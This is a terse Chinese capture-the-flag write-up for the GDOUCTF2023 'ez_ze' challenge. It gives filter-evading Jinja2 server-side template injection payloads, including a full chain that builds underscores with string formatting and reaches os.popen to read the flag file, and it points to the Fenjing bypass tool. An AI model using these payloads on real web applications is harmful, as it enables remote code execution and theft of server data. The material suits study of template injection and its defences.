GDOUCTF2023-<ez_ze>-wp
{{}}, .
被过滤 payload:
1 | name={% set po=dict(po=a,p=b)|join%} |
或者
1 | {%set u='%c'%95*2%}{%print(''|attr(u+'cla''ss'+u)|attr(u+'ba''se'+u)|attr(u+'su''bcla''sses'+u)()|attr(213)|attr(u+'i''n''i''t'+u)|attr(u+'glo''bal''s'+u)|attr('ge''t')(u+'bui''lti''ns'+u)|attr('ge''t')(u+'imp''ort'+u)('o''s')|attr('po''pen')('ca''t /f''lag')|attr('re''ad')())%} |
或者直接用fenjing https://github.com/Marven11/Fenjing
1 | $ pip3 install fenjing |